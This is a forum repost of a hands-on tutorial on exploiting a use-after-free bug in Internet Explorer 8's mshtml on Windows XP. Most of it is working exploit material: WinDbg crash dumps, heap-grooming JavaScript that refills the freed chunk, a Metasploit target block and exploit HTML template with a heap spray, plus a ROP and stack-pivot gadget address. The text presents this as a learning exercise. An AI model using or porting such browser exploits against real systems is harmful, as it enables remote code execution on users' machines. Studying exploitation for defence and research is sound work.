Aerosol Posted January 8, 2015 Report Posted January 8, 2015 A use after free bug is when an application uses memory (usually on the heap) after it has been freed. In various scenarios, attackers can influence the values in that memory, and code at a later point will use it with a broken reference.This is an introductory post to use after free – walking through an exploit. Although there are a million posts about the class of bug, not many are hands on (and this one is). I’ve been spending some free time over the past month looking into use after free type bugs. I’m a noob in this space so please call out/forgive mistakes.SetupInstall a windows xpsp3 VM without updates. I got the vulnerable version of IE from this totally legit looking site, Old Version of Internet Explorer 8.0 (XP) Download - OldApps.com. When installing, make sure you disconnect the internet connection so it doesn’t update, which it will do otherwise.We begin with this https://gist.github.com/wchen-r7/6758172, which should give us a crash that looks something like the following:(31c.8f0): Access violation - code c0000005 (!!! second chance !!!)eax=028601c5 ebx=001e8520 ecx=02ff0801 edx=020be80c esi=636397e4 edi=63662c78eip=63662dca esp=020be7ec ebp=020be810 iopl=0 nv up ei ng nz ac po cycs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293mshtml!CTreeNode::GetInterface+0xb6:63662dca ff11 call dword ptr [ecx] ds:0023:02ff0801=????????0:008> ubmshtml!CTreeNode::GetInterface+0xa2:63662db6 f3a7 repe cmps dword ptr [esi],dword ptr es:[edi]63662db8 0f84c9f31800 je mshtml!CTreeNode::GetInterface+0x1e9 (637f2187)63662dbe 8b03 mov eax,dword ptr [ebx]63662dc0 8b08 mov ecx,dword ptr [eax]63662dc2 8d55fc lea edx,[ebp-4]63662dc5 52 push edx63662dc6 ff750c push dword ptr [ebp+0Ch]63662dc9 50 push eax0:008> kChildEBP RetAddr 020be810 63662d3a mshtml!CTreeNode::GetInterface+0xb6020be828 635f3fe4 mshtml!CTreeNode::NodeAddRef+0x24020be8ac 637fd38f mshtml!CDoc::PumpMessage+0x4a3020be968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6020be990 638e5dab mshtml!CElement::setCapture+0x50...Based on the crash, this is most likely either a use after free where ecx could be a pointer to a table of function pointers (although for me at this point it is difficult to tell the difference between this and a null ptr dereference).InvestigationLet’s take a second to analyze.The first step is to turn on pageheap and user mode stack tracing for iexplore.exe using gflags. pageheap will monitor all heap memory operations, allowing us to see when our application is trying to access the freed memory immediately (it will crash sooner – a good writeup on what’s going on is here) and also see some additional info, such as the sizes of the allocations and stack traces involved.Running the same file, you will get a different crash now.(40c.a04): Access violation - code c0000005 (!!! second chance !!!)eax=00000000 ebx=39fae8d0 ecx=335006a8 edx=39fae608 esi=00000000 edi=0d5b6fb0eip=635f4478 esp=39fae820 ebp=39fae828 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202mshtml!CDoc::HasContainerCapture+0x14:635f4478 8b0f mov ecx,dword ptr [edi] ds:0023:0d5b6fb0=????????0:008> kChildEBP RetAddr 037ce828 635f5887 mshtml!CDoc::HasContainerCapture+0x14037ce8ac 637fd38f mshtml!CDoc::PumpMessage+0x3e2037ce968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6037ce990 638e5dab mshtml!CElement::setCapture+0x50We are crashing earlier, at the setCapture functions from our Javascript which is trying to reference memory that was freed in the earlier document.write. We can verify this with windbg.Using the info stored in heaplib, we can use this to find the size of the chunk0:023> .printf "0x%x", 1000 - edi & 0xFFF0x50Because we want to replace a piece of memory 0x50 big, we can modify our script to add the following.<html><script>lfh = new Array(20);for(i = 0; i < lfh.length; i++) { lfh[i] = document.createElement('div'); lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}function trigger(){ var id_0 = document.createElement("sup"); var id_1 = document.createElement("audio"); document.body.appendChild(id_0); document.body.appendChild(id_1); id_1.applyElement(id_0); id_0.onlosecapture=function(e) { document.write(""); tt = new Array(20); for(i = 0; i < tt.length; i++) { tt[i] = document.createElement('div'); tt[i].className = "\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424"; } } id_0['outerText']=""; id_0.setCapture(); id_1.setCapture();}window.onload = function() { trigger();}</script></html>We will now get a crash that looks like this:(be0.9e4): Access violation - code c0000005 (!!! second chance !!!)eax=24242424 ebx=001e83e8 ecx=00000003 edx=00000000 esi=636397e4 edi=63662c78eip=63662dc0 esp=020be7f8 ebp=020be810 iopl=0 nv up ei ng nz ac po cycs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293mshtml!CTreeNode::GetInterface+0xac:63662dc0 8b08 mov ecx,dword ptr [eax] ds:0023:24242424=????????mshtml!CTreeNode::GetInterface+0xac:63662dc0 8b08 mov ecx,dword ptr [eax]63662dc2 8d55fc lea edx,[ebp-4]63662dc5 52 push edx63662dc6 ff750c push dword ptr [ebp+0Ch]63662dc9 50 push eax63662dca ff11 call dword ptr [ecx]63662dcc 8bf0 mov esi,eax63662dce 85f6 test esi,esiThis is just a few instructions before our call [ecx]. So to get EIP, we need to point eax to a valid value that points to where we want to start executing. We should be able to do this with a heap spray (maybe not ideal, but easy), then a stack pivot to this address where we can execute our ROP. Because we are modifying a metasploit payload, let’s just do everything the metasploit way, which I’ll cover in the next section.Metasploit browser Detection, Heap Spray, and ROPBecause we are modifying a metasploit module, let’s just use all their builtin stuff and do this the metasploit way.First thing we need to do is detect the browser, which is described here. In the msf module, there was existing parameters to detect windows 7 IE9, so we have to configure it to also accept windows XP with IE8.'Targets' => [ [ 'Automatic', {} ], [ 'Windows 7 with Office 2007|2010', { :os_name => /win/i, :ua_name => HttpClients::IE, :ua_ver => "9.0", :os_flavor => "7", :office => /2007|2010/ } ], [ 'Windows XP with IE 8', { :os_name => "Windows XP", :ua_name => HttpClients::IE, :ua_ver => "8.0"; } ] ],Heap spraying is the process of throwing a bunch of crap on the heap in a predictable way. Again, metasploit can do this for us. This is described here. We can also get rid of our lfh allocation at the beginning because js_property_spray will take care of it for us. The docs say a reliable address is 0x20302020, so we’ll just use that.At this point you should be able to have eip control (eip=0x414141) using something like this def get_exploit_html_ie8(cli, target_info) #address containing our heap spray is 0x20302020 spray_addr = "\\u2020\\u2030" #size to fill after free is 0x50 free_fill = spray_addr + "\\u2424" * (((0x50-1)/2)-2) %Q|<html><script>#{js_property_spray}tt = new Array(30);function trigger(){ var id_0 = document.createElement("sup"); var id_1 = document.createElement("audio"); document.body.appendChild(id_0); document.body.appendChild(id_1); id_1.applyElement(id_0); id_0.onlosecapture=function(e) { document.write(""); for(i = 0; i < tt.length; i++) { tt[i] = document.createElement('div'); tt[i].className ="#{free_fill}"; } var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747"); //this is mangled thanks to wordpress, but is just escaped js strings sprayHeap({shellcode:s}); } id_0['outerText']=""; id_0.setCapture(); id_1.setCapture(); }window.onload = function() { trigger();}</script></html> | endFinally, we just need rop, which msf also has (if you’re interested in learning how to ROP, this is a good tutorial). ROP with heap sprays are generally really easy (as long as you know a base address). This is not like a stack overflow where we need to do shenanigans, we just put stuff in order on our heap spray and we don’t have to worry about null bytes, etc etc. Nevertheless, metasploit has builtin RopDB for Windows XP where the addresses are constant, using msvcrt. https://dev.metasploit.com/api/Rex/Exploitation/RopDb.html.To connect everything, we just need a stack pivot, meaning we need esp to point to our heap that we control. right now eax points to our heap of course, so we can look for something that moves eax to esp (there are several ways to do this, mov esp, eax | xchg eax, esp | push eax then pop esp, etc.). Let’s just look in msvcrt since we’re using that dll to virtualprotect later anyway. I usually use rp++ for this although I had mona loaded so I did search through that (unfortunately not able to find something I could use in msvcrt with mona). Searching for output with rp++ I found0x77c3868axchg eax, esprcr dword [ebx-0x75], 0xFFFFFFC1pop ebp ret This will work great. Now just put them in the right order, and we have our exploit!I put in a pull request for this into metasploit so you can see the “final” version here, although it hasn’t yet been reviewed or accepted at the time I’m writing this. Of course this is largely useless for practical purposes, but it is a pretty good way to learn the basics of use after free IMO. Many vulns affect multiple versions of a browser, so it’s a fun exercise to port the bugs to different versions.Source 1 Quote